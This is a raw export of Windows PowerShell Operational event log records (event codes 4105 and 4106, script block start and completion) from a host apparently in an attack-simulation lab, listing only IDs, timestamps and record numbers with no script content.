SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040257
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040256
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040255
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040254
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040253
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040252
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040251
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040250
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040249
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040248
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040247
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040246
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040245
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040244
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040243
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040242
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040241
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040240
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040239
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040238
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040237
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040236
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040235
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040234
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040233
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040232
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040231
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040230
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040229
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040228
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040227
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040226
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040225
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040224
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040223
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040222
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040221
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040220
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040219
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040218
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040217
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040216
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040215
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040214
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040213
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040212
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040211
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040210
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040209
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040208
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040207
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040206
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040205
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040204
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
